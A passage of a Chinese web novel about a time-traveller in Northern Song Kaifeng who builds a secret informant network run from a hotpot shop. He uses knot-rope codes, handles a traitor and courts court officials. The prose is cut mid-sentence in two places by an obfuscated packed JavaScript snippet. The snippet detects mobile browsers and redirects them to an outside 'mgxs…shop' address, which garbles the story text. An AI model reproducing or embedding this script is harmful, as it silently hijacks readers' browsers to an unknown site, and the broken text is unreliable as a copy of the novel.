这一次不是在地域上扩张，而是在深度上。阿九在几个关键的位置安插了“卧底”——一个大户人家的丫鬟、一个衙门里的书吏、一个酒楼里的跑堂。这些人不是赤羽的正式成员，不需要知道赤羽的存在，只需要在固定的时间、固定的地点，把听到的、看到的事情告诉赤羽的线人。 萧北翊管这叫“深度渗透”。阿九管这叫“放长线钓大鱼”。 不管是叫什么，效果是立竿见影的。不到半个月，赤羽就掌握了好几条有价值的信息——哪个官员跟哪个商人有利益输送，哪个大户人家在暗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17650306|206859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中囤积粮食，哪个衙门在秘密调查什么人。 萧北翊把这些信息分门别类，一部分留作底牌，一部分通过周德茂“卖”给了王钦若。王钦若对赤羽的效率越来越满意，每半个月让周德茂送来五十两银子的“信息费”。 五十两不多，但对赤羽来说，是一笔稳定的收入。更重要的是，王钦若付钱，说明他把赤羽当成了一个可以长期合作的伙伴，而不是一次性的工具。 阿九对这件事的评价是：“萧哥，王钦若这是在养着咱们。等他把咱们养肥了，就该宰了。” 萧北翊说：“所以咱们不能只吃他的粮，还得有自己的地。” 六月底的一天傍晚，萧北翊正在东厢房里看简报，门被敲响了。 他打开门，南晚枫站在门口。她今天穿了一件深青色的褙子，头发披散着，手里提着一个小包裹。 “南姑娘？”萧北翊有些意外，“你怎么来了？” 南晚枫走进来，把包裹放在桌上，打开，里面是一包茶叶。 “林茶商让我带给你的。说是新到的明前龙井，给你尝尝。” 萧北翊愣了一下：“你跟林茶商认识？” “不认识。他送到赵府，说是给你的。赵衍让我转交。” 萧北翊拿起茶叶，闻了闻，清香扑鼻。这林茶商，做事倒是周到。 “替我谢过赵大哥。” 南晚枫没有要走的意思，在他对面坐下，看着他。 “萧子翼，你最近在囤粮？” 萧北翊心里一紧，但脸上不动声色：“你怎么知道？” “赵衍说的。他说你囤了不少粮食，还在汴河沿线设了中转站。”南晚枫的语气很平淡，“他想让我问你，你是不是知道些什么？” 萧北翊沉默了一会儿。赵衍在问这个问题，说明他已经注意到了赤羽的囤粮行动。一个郡王，不会无缘无故关心一个火锅店老板囤不囤粮。赵衍一定是察觉到了什么。 “南姑娘，你帮我转告赵大哥——‘有备无患’。” 南晚枫盯着他看了一会儿，然后站起来，走到门口。 “萧子翼，你这个人，说话只说一半。” “说一半就够了。说全了，就没意思了。” 南晚枫没有回头，迈步走了出去。 南晚枫走后，萧北翊把那包龙井茶收好，坐回桌前，继续看简报。 他的脑子里在飞速运转。赵衍在关注囤粮的事，说明他也注意到了粮食市场的异常。一个郡王，能接触到朝堂上的信息，他一定知道些什么——也许是从户部的渠道，也许是从他在朝中的眼线。 萧北翊在想，要不要跟赵衍共享一些信息。不是全部，而是一部分——比如，他知道明年可能会有旱灾，所以提前囤粮。这个理由，既不会暴露他是穿越者，也能解释他的行为。 思来想去，萧北翊决定暂时不说。等到时机成熟了，自然会说。 现在最重要的，是继续囤粮、存药、扩张网络。大中祥符五年的秋天，黄河就要决口了。到时候，饥荒、流民、瘟疫、暴乱，会接踵而至。赤羽能不能在这些危机中存活下来，甚至借势壮大，就看接下来的几个月了。 萧北翊合上简报，把新收到的龙井茶泡了一壶，坐在窗前，慢慢喝着。 茶很香，入口微苦，回味甘甜。 窗外，槐花正在落，白色的花瓣铺了一地，像下了一场小雪。 萧北翊忽然想起了一件事——穿越前，他在现代也喝过龙井，是在杭州旅游的时候。那时候他怎么也想不到，自己有一天会坐在北宋的院子里，喝着一千年前的龙井，谋划着一场跨越千年的大棋。 命运这东西，真是说不清。 萧北翊把杯中茶一饮而尽，拿起笔，在简报的空白处写了一行字： “赤羽第九个月：存粮九百石，存银三百五十两，人员五十二人。王钦若已入局。赵衍在观望。有人在查赤羽底细，初步判断不是王钦若的人。继续保持警惕，不主动惹事，也不怕事。” 他合上简报，吹灭了油灯。 窗外，月光如水。 明天，又是新的一天。 17. 第十七章 暗号 大中祥符五年的七月，东京城热得像蒸笼。 甜水巷的青石板路被太阳晒得发烫，赤脚踩上去能烫出水泡。老孙头的豆腐摊改成了只做上午的生意，下午太热，豆腐放不住。他每天收摊的时候都会朝火锅店喊一嗓子：“萧子翼，你这火锅店夏天还开着，不怕亏死？” 萧北翊站在门口，摇着蒲扇：“孙叔，我这叫‘淡季深耕，旺季收割’。” “说人话！” “就是趁着生意淡，把店里的东西拾掇拾掇，等天冷了再使劲赚。” 老孙头哼了一声，推着豆腐车走了。他听不懂萧北翊说的那些怪词，但他知道这小子从来不干赔本的事。 萧北翊转身回了店里，拿起柜台上的一个竹筒。竹筒里装的是阿九每天早上放在这里的“消息条”——不是纸条，是一根打了结的麻绳。 这是萧北翊想了很久才定下来的法子。 赤羽的人绝大多数不识字。赵大锤认识十几个字，刘二认识二十几个，孙驼子一个大字不识。阿九和钱串子是仅有的两个能读会写的人。指望这群人用书面文字传递情报，等于让鸭子爬树。 萧北翊的办法很简单——用麻绳打结。 不同的结代表不同的意思。一个结表示“安全”，两个结表示“有事”，三个结表示“紧急”。结打在绳头表示“城东”，打在绳尾表示“城西”，打在中间表示“城中”。绳子的颜色也有讲究——黑色代表“官府”，红色代表“商贾”，白色代表“江湖”。 这套“绳结暗号”，是萧北翊从现代“结绳记事”的灵感里翻出来的。原始人都会的东西，北宋的乞丐不可能学不会。阿九只用了半天就掌握了全部规则，又花了一天教给各个片区的负责人。负责人们再往下教，一层一层，不到一周，赤羽的所有人都学会了。 赵大锤学会之后，感慨了一句：“萧哥，这比写字简单多了。写字我记不住，打结我一学就会。” 萧北翊心想：这不废话吗？结绳记事是人类用了上万年的通讯方式，比你那破铁匠铺的历史都长。 今天竹筒里的麻绳是黑色的，打了两个结，结在绳头。意思是：城东，官府那边有事。 萧北翊把麻绳放回竹筒，走出后门，朝城东方向去了。 城东的马行街，刘二在一个不起眼的茶摊上等着他。 茶摊是赤羽的一个消息点，摆摊的老头姓吴，是孙驼子介绍来的，以前在军营里当过伙夫，腿瘸了之后就在马行街卖茶。吴老头不识字，也不会打结，他只知道一件事——每天把听到的、看到的事，在固定的时间告诉刘二。至于这些事有什么用，他不管，也不问。 “子翼，出事了。”刘二压低声音，“开封府的人在查我们。” 萧北翊端起茶碗，喝了一口，不动声色：“查到了什么程度？” “目前只查到城东的几个线人。但他们查的方向很准——直接冲着赤羽的消息网络来的，不是瞎猫碰死耗子。我怀疑，有人在背后指路。” 萧北翊的手指在桌上轻轻敲着。开封府，东京城的衙门，管着百万人口的治安、刑狱、诉讼。开封府的人查赤羽，说明赤羽已经进入了官府的视线。但赤羽做事一向小心，消息传递用的是绳结暗号，人员分散，不留痕迹——开封府的人是怎么查到线索的？ 除非，赤羽内部出了问题。 “刘二哥，最近有没有人行为反常？” 刘二想了想：“有一个人。城东的王三，以前挺勤快的，最近半个月总找借口不来碰头。问他什么，支支吾吾的。” 萧北翊的眼睛眯了起来。王三，他记得这个人，是赤羽最早的一批成员之一，在城东收消息，平时话不多，但做事靠谱。半个月前忽然反常，这不太正常。 “盯住他。不要打草惊蛇，看他跟谁接触。” 刘二点头，起身走了。 下午，萧北翊回到葫芦巷，把阿九叫到东厢房。 他把开封府查赤羽的事说了一遍，阿九的眉头皱了起来。 “萧哥，会不会是王钦若？” “不像。”萧北翊摇头，“王钦若要用赤羽，不会在这个时候查我们。他要是想查，早就查了，不用等到现在。” “那是谁？丁谓？赵衍？” “赵衍不会。丁谓有可能，但也不像。丁谓查我们，应该会通过他的人，不会动用开封府。开封府是朝廷的衙门，动用开封府的人，动静太大，容易打草惊蛇。” 阿九想了想：“那会不会是——程无咎？” 萧北翊的心里咯噔了一下。程无咎，枢密使，二十年前萧家灭门案的幕后主使。这个名字，他从来没有在赤羽的会议上提过，但阿九从之前他让她打听“程家”的事时就已经猜到了几分。 “为什么猜是他？”萧北翊问。 “因为程无咎是枢密使，管着全国的军事情报。赤羽在东京城布消息网，他不可能不知道。他不知道赤羽是谁的，但一定想知道。” 萧北翊沉默了。阿九说得有道理。程无咎是管情报的，东京城出现一个民间的情报网络，他不可能视而不见。查赤羽，是他的职责，也是他的本能。 “不管是哪边的，我们都要做好准备。”萧北翊站起来，走到窗前，“从今天起，赤羽的所有消息点，全部换成新的接头方式。绳结暗号的规则也要换。原来一个结是‘安全’，改成两个结是‘安全’。原来的颜色规则也全部打乱。” 阿九愣了一下：“萧哥，全部换？那弟兄们刚学会没多久——” “所以才要换。”萧北翊回过头，“换得越频繁，外人越摸不清我们的路数。弟兄们学不会，就多教几遍。一个月换一次，每次换之前，先教后执行。” 阿九点了点头。她知道萧北翊说的有道理，但也知道这意味着巨大的工作量。五十多个人，分散在五个片区，每个人都要重新学一套暗号规则，光靠她和几个负责人，至少要十天。 “萧哥，能不能只换核心层的暗号？普通线人继续用旧的？” 萧北翊想了想，摇头：“不行。开封府的人已经查到了城东的线人，说明旧的暗号可能已经被破解了。如果不全换，等于给人家留后门。” 阿九深吸一口气：“好。我明天就开始教。” 七月初五，萧北翊去了一趟赵府。 赵衍在书房里见他，这次没有茶，只有一壶凉白开。赵衍穿着一件薄纱衫，手里拿着一把折扇，看起来比平时随意了很多。 “子翼，你来得正好。”赵衍合上折扇，指了指对面的椅子，“我正想找你。” 萧北翊坐下：“赵大哥有什么吩咐？” “不是吩咐，是提醒。”赵衍端起水杯喝了一口，“最近有人在查你。” 萧北翊心里一紧，但脸上不动声色：“谁？” “开封府的一个推官，姓马。这个人不是王钦若的人，也不是我的人。”赵衍看着他，“你最近是不是得罪了什么人？” 萧北翊想了想，摇头：“没有。我一个小商人，能得罪谁？” “那就奇怪了。”赵衍的眉头皱了起来，“马推官查你，一定是有人在背后指使。你仔细想想，最近有没有做过什么可能惹到人的事？” 萧北翊把这些天做的事在脑子里过了一遍。火锅店、消息买卖、囤粮、存药、布匹贸易——这些事，都是正经生意。唯一可能惹麻烦的，是替王钦若查那些官员的底细。但那些事做得极隐蔽，连王钦若都是通过周德茂跟他单线联系，外人不可能知道。 除非——王钦若那边有人泄密。 “赵大哥，有没有可能是丁谓？” 赵衍愣了一下：“丁谓？你跟他有交集？” “没有直接交集。但他是王钦若的盟友，也是对手。王钦若最近在朝中弹劾了好几个政敌的亲信，用的都是赤羽提供的消息。丁谓不可能不知道。他要是想查赤羽的底，合情合理。” 赵衍点了点头：“有道理。那你打算怎么办？” 萧北翊想了想，说了一句让赵衍意外的话。 “什么都不做。” “什么都不做？” “对。”萧北翊说，“赤羽的底，经得起查。火锅店是正经生意，消息买卖没有留下痕迹，囤粮是个人行为，不违法。丁谓的人查到的，只会是一个‘头脑灵活的火锅店老板’在东京城做点小买卖。这样的结果，既不会让王钦若失望，也不会让丁谓起疑。” 赵衍盯着他看了一会儿，然后笑了。 “子翼，你这个人，比我想的还要稳。” 从赵府出来，萧北翊没有直接回葫芦巷，而是在城里绕了一大圈。 他一边走一边想，丁谓查赤羽的事，会不会是一个信号？一个更大的棋局的信号？ 王钦若和丁谓，两个权臣，表面上是盟友，背地里互相提防。王钦若用了赤羽的消息网络，丁谓一定会想——这把刀，是只替王钦若干活，还是也能为我所用？ 如果萧北翊能让丁谓觉得，赤羽是一把“谁用都行”的刀，那赤羽就能在王钦若和丁谓之间游走，左右逢源。但这也意味着巨大的风险——两边都不得罪的结果，往往是两边都得罪。 萧北翊想到了一句话：在刀尖上跳舞。 他现在就是在刀尖上跳舞。跳得好，两边都捧你。跳不好，两边都踩你。 但他不怕。他有赤羽，有脑子，有赵衍这个暗中的盟友。更重要的是，他知道历史的走向——王钦若和丁谓，迟早会倒台。而他要做的，是在他们倒台之前，从他们的手里借到足够的力量，壮大自己。 萧北翊走到甜水巷口，停下脚步，抬头看了看南北火锅的招牌。 招牌上的金字在阳光下闪闪发光。 他推开门，走了进去。 七月中旬，赤羽的消息网络发生了一件大事——阿九抓到了一个“内鬼”。 事情是这样的。城西的一个线人，绰号“赖子”，负责在孙家瓦舍附近收集消息，最近忽然开始汇报一些不痛不痒的八卦，真正有价值的信息一句都没有。阿九觉得不对劲，让孙驼子暗中跟踪了赖子几天，发现他每次从孙家瓦舍出来，都会拐到一条小巷子里，跟一个陌生男人碰头。 陌生男人给他银子，他给陌生男人说赤羽的事。说的内容不多，但足以让开封府的人查到赤羽的线人分布。 阿九没有打草惊蛇，而是把赖子以前汇报的所有消息重新梳理了一遍，发现他已经出卖赤羽的信息至少半个月了。城东的线人被盯上，就是赖子泄露的。 “萧哥，这个人怎么处理？”阿九站在萧北翊面前，眼睛里有怒火。 萧北翊沉默了一会儿，然后说：“让他走。” “让他走？”阿九不敢相信自己的耳朵，“萧哥，他出卖了赤羽！” “我知道。”萧北翊的语气很平静，“但他是被人收买的，不是主动要背叛赤羽。收买他的人，我们还没查到。如果现在处理他，收买他的人就会知道赤羽发现了，下一次会用更隐蔽的方式。” 阿九明白了：“萧哥，你是想——放长线钓大鱼？” “对。让他继续出卖赤羽的消息，但我们要控制他出卖的内容。该让他说的说，不该让他说的一个字都不能漏。同时，通过他，查到他背后的人。” 阿九点了点头，转身出去了。 萧北翊站在窗前，看着院子里的柿子树。柿子已经长到了鸡蛋大小，青色的，还没熟。赤羽现在的情况，就像这棵柿子树——看起来果实累累，但还没到收获的时候。任何一个疏忽，都可能让这些青柿子提前掉下来，烂在地里。 他深吸一口气，把脑子里那些乱七八糟的念头压了下去。 稳。一定要稳。 七月下旬，萧北翊收到了一份让他意外的情报。 周德茂来火锅店送信，信是王钦若写的。信上只有一行字：“下月初三，老夫在府上设宴，请萧老板务必光临。” 萧北翊把信看了两遍，收进了袖子里。 王钦若请客，不是第一次了。但这一次的措辞比上一次更客气——“请萧老板务必光临”，这不是对一个“办事的”说话的语气，更像是对一个“合作伙伴”说话的语气。 这说明王钦若对赤羽的重视程度又上了一个台阶。 萧北翊把这件事告诉了阿九和刘二。刘二的反应是：“子翼，你小心点。王钦若这个人，对谁客气，谁就该倒霉了。” 阿九的反应是：“萧哥，你要不要去？” “去。为什么不去？”萧北翊笑了笑，“人家请吃饭，不去不给面子。” 八月初三，萧北翊准时出现在王钦若的府邸前。 这次他穿了一件新做的月白色直裰，布料是中等货色，不招摇但体面。头发用木簪束起来，木簪是自己在街上买的，五文钱一根，朴素得很。 王钦若这次没有在水榭里设宴，而是在正堂。正堂比水榭正式得多，说明今天要谈的事，比上次更重要。 正堂里摆了一桌酒菜，王钦若坐在主位上，旁边还坐着一个人——四十来岁，方脸膛，浓眉，嘴唇上留着一撇短须，穿着一件深蓝色的锦袍，气度不凡。 萧北翊心里一动。这个人，他在赵衍的书房里见过画像——丁谓。 “萧老板，来，坐。”王钦若笑眯眯地指了指旁边的座位，“老夫给你介绍一个人。这位是丁谓丁参政，老夫的同僚。” 萧北翊躬身行礼：“草民萧北翊，拜见丁参政。” 丁谓上下打量了他一眼，嘴角微微上扬，看不出是笑还是别的什么表情。 “你就是萧子翼？王相公常提起你。说你是个有本事的人。” “王相公谬赞。草民不过是开了个火锅店，谈不上本事。” 丁谓笑了，这次是真的笑。 “火锅店？萧老板，你太谦虚了。一个火锅店，能查到朝中大臣的底细？” 萧北翊心里一凛，但脸上不动声色。 “丁参政说笑了。草民一个小商人，哪有那个本事。” 王钦若在旁边打了个哈哈：“丁参政，你别吓唬萧老板。他胆子小，经不起吓。” 丁谓看了王钦若一眼，没再说什么。 萧北翊坐下，端起酒杯，敬了王钦若和丁谓一杯。酒是好酒，但他喝得很慢。他在观察丁谓——这个人说话直接，不拐弯抹角，跟王钦若的老谋深算完全不同。但直接不等于简单。能在朝堂上混到这个位置的人，没有一个简单的。 饭吃到一半，王钦若放下筷子，看着萧北翊。 “萧老板，老夫今天请你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17650307|206859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来，是想问你一件事。” “王相公请讲。” “你上次给老夫的那份名单，很详细，很有用。但老夫想知道——这些信息，你是从哪里得来的？” 萧北翊早就料到他会问这个问题。 “王相公，草民是个商人。商人的规矩是——只卖货，不问货从哪里来。您买的是消息，不是消息的来路。” 王钦若盯着他看了一会儿，然后笑了。 “好一个‘只卖货，不问货从哪里来’。萧老板，你这个人，嘴很严。这是好事。” 丁谓在旁边插了一句：“王相公，你找了一个好帮手。但帮手太严了，有时候也不是好事。” 萧北翊转向丁谓：“丁参政，草民嘴严，是因为草民知道什么该说，什么不该说。该说的，不用问也会说。不该说的，问了也不会说。” 丁谓的眼睛眯了一下。 “那你觉得，什么是该说的？” 萧北翊想了想，说了一句让两位权臣都意外的话。 “该说的，是对你们有用的。不该说的，是对你们没用的。草民只做有用的事，不做没用的事。” 王钦若和丁谓对视了一眼，都没有说话。 萧北翊端起酒杯，又敬了两人一杯。 从王钦若府上出来，天已经黑了。 萧北翊走在城中的街道上，心跳比平时快了几分。今天这顿饭，表面上是王钦若请客，实际上是一次“面试”——丁谓在考察他，看看这个被王钦若重用的人，值不值得丁谓也关注。 萧北翊觉得自己表现得还算可以。不卑不亢，不谄媚，不隐瞒，也不全盘托出。既让丁谓看到了他的价值，又没有让丁谓觉得他太有心机。 但有一件事让他不安——丁谓提到了赤羽的消息网。这说明丁谓已经知道赤羽在做消息买卖了。一个能在东京城布下消息网的人，不可能只是一个火锅店老板。丁谓今天没有追问，不代表他不会自己去查。 萧北翊深吸一口气，加快了脚步。 他需要回去跟阿九商量，怎么应对丁谓这条线。 回到葫芦巷，萧北翊把阿九、刘二、钱串子叫到东厢房，把今天的事说了一遍。 刘二听完，脸色凝重：“子翼，丁谓知道赤羽在做消息买卖了。这是不是意味着，丁谓已经查到了更多？” 萧北翊摇头：“不一定。他知道赤羽在做消息买卖，但不一定知道赤羽的规模。能查到这一步，说明丁谓在东京城的眼线不少。但再往下查，就需要更多时间和资源了。” 钱串子推了推眼镜：“萧哥，那我们怎么办？” “继续做我们的事。”萧北翊说，“但要更小心。从今天起，所有的消息传递都要换新暗号。绳结的规则再改一次，颜色和结数全部打乱。” 阿九问：“改成什么样？” 萧北翊想了想，从袖子里摸出一根麻绳，当场打结示范。 “以后一个结代表‘危险’，两个结代表‘安全’。黑色代表‘江湖’，红色代表‘官府’，白色代表‘商贾’。跟上次的规则完全反过来。旧规则全部作废，任何人不得再用。” 阿九接过麻绳，看了看，点了点头。 “萧哥，我明天就教。” 八月中旬，赤羽的第三次“暗号大换血”完成了。 五十多个人，五个片区，从城东到城西，从城南到城北，全部用上了新的绳结暗号。旧的麻绳全部烧掉，新的麻绳统一发放，每人三根，用完了找片区负责人领。 赵大锤学会了新暗号之后，感慨了一句：“萧哥，这比打仗还累。打仗一年打一次，换暗号一个月换一次。” 萧北翊拍了拍他的肩膀：“大锤，这就是打仗。不是跟人打，是跟官府打。谁先露出破绽，谁就输。” 赵大锤似懂非懂地点了点头。 八月下旬，刘二从两浙路发回了消息——不是用绳子，是让人口头传回来的。 传话的人是个船工，姓张，四十来岁，常年在汴河上跑船，是刘二在杭州认识的。张船工不识字，也不懂暗号，他只知道一件事——把刘二的话原封不动地告诉萧北翊。 “刘二哥说，杭州、苏州、湖州三地的粮食价格开始涨了。不是暴涨，是慢慢涨。一斗米从四十文涨到了四十五文，面粉也涨了。”张船工蹲在火锅店的后院里，一边啃着萧北翊给的馒头一边说。 萧北翊问：“刘二哥还说了什么？” “他说，有人在那些地方大量收粮。手法跟东京城的一样，分散收购，不引人注意。他怀疑是同一个人在操作。” 萧北翊点了点头，让阿九给了张船工二两银子的辛苦钱。张船工千恩万谢地走了。 粮价上涨，说明市场上的粮食供应开始紧张了。按照历史记载，大中祥符五年的秋天黄河要决口，六年的春天要大旱。现在才八月，粮价就开始涨了，说明有些人已经提前得到了消息，开始囤粮了。 萧北翊让阿九给刘二传话——不是写信，是让人口头带话。传话的人是孙驼子手下的一个老乞丐，姓周，以前在汴河上讨过饭，认识不少船工。周老丐不识字，但记性好，把萧北翊的话一字不差地记住了。 “让刘二哥加快收购速度，赶在粮价暴涨之前，把赤羽的存粮从九百石增加到一千二百石。” 周老丐点了点头，揣着萧北翊给的干粮，出了城，沿着汴河往东去了。 九月，东京城入秋了。 甜水巷的槐树开始落叶，金黄色的叶子铺了一地。老孙头的豆腐摊重新开始做全天生意，因为天凉了，豆腐能放住了。火锅店的生意也开始回暖，每天中午和晚上都坐满了人。 萧北翊站在火锅店门口，看着巷子里来来往往的行人。 赤羽在东京城已经站稳了脚跟。明面上有火锅店，暗地里有消息网络，账上有银子，仓里有粮食，手底下有五六十号人。王钦若把他当刀用，赵衍把他当盟友看，丁谓也在暗中关注他。三叔搬进了葫芦巷，阿九独当一面，刘二在汴河沿线跑来跑去，钱串子的账记得越来越好了。 一切都在按照计划推进。 但萧北翊知道，真正的挑战还在后面。黄河就要决口了，饥荒要来了，瘟疫要来了。到时候，东京城会乱成一锅粥。赤羽能不能在这些危机中活下来，甚至借势壮大，就看接下来的几个月了。 萧北翊深吸一口气，转身回了店里。 “大锤，晚上加个菜。今天高兴。” “萧哥，什么事这么高兴？” “没什么。就是觉得，活着真好。” 赵大锤挠挠头，没听懂，但还是去加菜了。 萧北翊坐在柜台后面，拿起那本只有他自己能看懂的账册——账册上写的不是字，是他的“鬼画符”。每个符号代表一个字，是他自己编的，连阿九都看不懂。 他在空白页上画了一行符号。 这些符号翻译过来是：“赤羽第十个月：存粮一千二百石，存银二百八十两，人员五十八人。暗号已换三次。王钦若已入局。丁谓在观望。内鬼赖子在监控中。下一步：等黄河。” 他合上账册，靠在椅背上，闭上眼睛。 窗外的秋风吹进来，带着槐树叶子的清香。 新的棋局，已经开始了。 18. 第十八章 风声 大中祥符五年的九月，东京城入秋后凉爽了没几天，又热了回去。老人们管这叫“秋老虎”，说这天气能把人咬下一层皮。 甜水巷的槐树叶子黄了一半，落了一半，剩下的在枝头蔫蔫地挂着，像是在等一场雨。雨没等来，等来了开封府的几个差役。 那天下午，萧北翊正在火锅店后厨调底料，赵大锤慌慌张张地跑进来。 “萧哥！外面来了几个公人，说是开封府的，要找你！” 萧北翊手里的勺子顿了一下，然后继续搅动锅里的汤。 “让他们进来。客气点。” 赵大锤出去了，不一会儿领进来三个穿皂衣的差役。领头的是个三十来岁的汉子，方脸，浓眉，腰间挎着一把刀，看起来不太好惹。 “你就是萧北翊？”领头的差役上下打量着萧北翊。 “正是。几位官爷辛苦了，快请坐。”萧北翊擦了擦手，笑眯眯地招呼他们坐下，又让阿九去泡茶，“大锤，切一盘卤肉上来，给几位官爷下酒。” 领头的差役摆了摆手：“不用了。我们来，是想问你几件事。” 萧北翊在他对面坐下，腰背挺直，不卑不亢。 “官爷请讲。” “你这火锅店，开了多久了？” “快一年了。” “生意怎么样？” “托官爷的福，还过得去。” 领头的差役盯着他看了一会儿，目光里带着审视。 “有人举报，说你店里藏匿逃犯。我们要查一查。” 萧北翊心里咯噔了一下，但脸上依然笑眯眯的。 “官爷说笑了。小店做的是正经生意，来的都是街坊邻居，哪来的逃犯？几位官爷随便查，查到了算我的。” 领头的差役站起来，在店里转了一圈，又去后厨看了看，最后去了后院。后院只有一口水缸、一堆柴火和几口倒扣的大缸，什么都没有。地窖的入口在柴堆下面，被赵大锤用稻草盖得严严实实，不仔细看根本发现不了。 差役转了一圈，什么也没找到，又回到大堂。 “你店里的人，都是哪里的？” 萧北翊知道这是例行盘问，早就准备好了说辞。 “都是附近的人。有的是我收留的乞丐，有的是从外地来讨生活的。官爷也知道，开饭馆的，人手不够用，什么人都得用。” 领头的差役点了点头，没有再问。 “打扰了。” 他带着两个手下走了。走到门口的时候，忽然回头看了萧北翊一眼。 “萧老板，你这个人，不简单。” 萧北翊笑着拱了拱手：“官爷慢走。” 差役走远后，赵大锤凑过来，压低声音：“萧哥，他们是不是冲着赤羽来的？” “不一定。”萧北翊摇头，“也可能是例行巡查。开封府每年秋天都会查一遍城里的商铺，查的是有没有藏匿逃犯、有没有违禁物品。咱们的店是正经生意，不怕查。” “那地窖——” “地窖封死了，他们没看到。就算看到了，存粮食又不犯法。” 赵大锤松了口气，但还是不放心：“萧哥，你说那个领头的说什么‘你不简单’，他是不是看出什么了？” 萧北翊想了想：“他要是真看出了什么，就不会走了。他说那句话，可能是随口一说，也可能是在试探。不管怎么样，从今天起，大家更小心一点。” 开封府差役来查的事，萧北翊当天晚上就跟阿九说了。 阿九的反应很平静：“萧哥，这是迟早的事。咱们在东京城布了这么大的网，官府不可能一直不知道。关键是——他们查到了什么程度。” “目前只是例行巡查。”萧北翊说，“但他们既然来了第一次，就会来第二次。我们需要做好应对。” “怎么应对？” 萧北翊想了想，说了三条。 “第一，火锅店的账目要做得更干净。每一笔收入和支出都要有据可查，不能让人挑出毛病。第二，赤羽的人，没有正当身份的，尽快安排到火锅店或者茶行挂名。第三，地窖里的东西，能转移的转移，不能转移的藏好。” 阿九点头，把这三条记在了心里。 九月中旬，萧北翊收到了一条让他警觉的消息。 消息是通过绳结暗号传过来的——一根红绳，打了两个结，结在绳尾。意思是：城中，商贾，有事。 传消息的人是钱串子。他在城中经营消息网络，同时负责赤羽跟周德茂的联络。钱串子说，周德茂最近半个月跟一个陌生人见了三次面，每次都在不同的地方，行踪诡秘。 萧北翊把钱串子叫到东厢房，详细问了情况。 “那人长什么样？”萧北翊问。 “四十来岁，瘦高个，穿灰色袍子，说话带四川口音。”钱串子推了推眼镜，“周德茂对他很客气，不像是对普通朋友的态度。” 四川口音。又是四川。 萧北翊的手指在桌上轻轻敲着。之前在东京城和两浙路收粮的神秘买家，据说也是从四川来的。现在周德茂又跟一个四川人频繁接触——这两件事，会不会是有关联的？ “钱串子，继续盯着。不要惊动周德茂，但要查清楚那个四川人的身份。” 钱串子点头，转身去了。 九月二十，萧北翊去了一趟赵府。 赵衍在后花园的亭子里等他，面前摆着一壶茶、两碟点心。天气凉了，亭子四周挂了竹帘挡风。 “子翼，你来得正好。”赵衍给他倒了一杯茶，“我正想找你。” 萧北翊坐下：“赵大哥，什么事？” “两件事。”赵衍竖起两根手指，“第一，开封府查你的事，我听说了。领头的那个差役姓马，是马推官的手下。马推官是丁谓的人。” 萧北翊点了点头。这跟他猜的差不多。 “第二，”赵衍放下茶杯，“最近有人在黄河沿线大量收购粮食，从陕州到郑州，从郑州到滑州，一路都在收。手法很隐蔽，但瞒不过我。” 萧北翊的心跳加快了一瞬。黄河沿线收粮——这正是他一直在关注的事。按照历史记载，大中祥符五年秋天，黄河在滑州决口。决口之前，如果有人提前知道了消息，在沿线囤粮，等决口后饥荒爆发，粮价飞涨，这些人就能赚得盆满钵满。 “赵大哥，查到是谁在收粮了吗？” 赵衍摇头：“查到了几个中间人，但背后的人藏得很深。我只知道，收粮的资金来自四川。” 又是四川。 萧北翊的眉头皱了起来。四川的神秘买家在东京城收粮，在两浙路收粮，现在又在黄河沿线收粮。这不是一个人在操作，而是一个组织——一个财力雄厚、消息灵通、布局严密的组织。 “赵大哥，您觉得，这个组织的目的只是为了赚钱？” 赵衍看了他一眼，目光深邃。 “如果只是为了赚钱，不需要这么隐蔽。他们这么小心，说明他们在做的事，见不得光。或者说，他们不想让人知道他们是谁。” 萧北翊沉默了一会儿。 “赵大哥，您有没有想过——如果有人提前知道黄河要决口，提前在沿线囤粮，等决口之后粮价飞涨，他们能赚多少？” 赵衍的瞳孔微微缩了一下。 “你是说——有人提前知道了朝廷的河道勘测结果？” “不是朝廷的。”萧北翊说，“也许，是有人自己会看天象、察水文，预测到了黄河可能要出事。” 赵衍盯着他看了一会儿，然后摇了摇头。 “子翼，你这个人，想法总是比别人多。但你说的，不是没有可能。我会让人继续查。” 从赵府出来，萧北翊没有回葫芦巷，而是在城里漫无目的地走着。 赵衍的话，让他意识到一个问题——有人在下一盘大棋。这盘棋的规模，比赤羽现在的布局大得多。从东京城到两浙路，从两浙路到黄河沿线，从黄河沿线到四川——这个组织的触角，已经伸到了半个北宋。 萧北翊想到了一个词：“资本”。用现代的话说，这是一个跨区域的商业资本集团。他们利用信息差，在各地低价收购粮食，囤积居奇，等待时机高价卖出。而他们最大的信息优势，就是提前知道了黄河可能决口。 但问题来了——他们是怎么提前知道的？ 北宋时期，黄河水情的监测主要靠地方官府和河防官员。普通人没有渠道获取这些信息，除非——他们有内应。在工部、在都水监、在沿河的州县衙门里，有他们的人。 萧北翊深吸一口气，把这些念头暂时压了下去。 现在最重要的，不是查这个组织的底，而是——赤羽自己的存粮够不够。 他加快脚步，朝甜水巷走去。 九月下旬，刘二从两浙路回来了。 他带回了一千二百石粮食——比萧北翊要求的还多了三百石。粮食存放在汴河沿线的三个中转站里，每个站四百石，分散储存，不怕被一锅端。 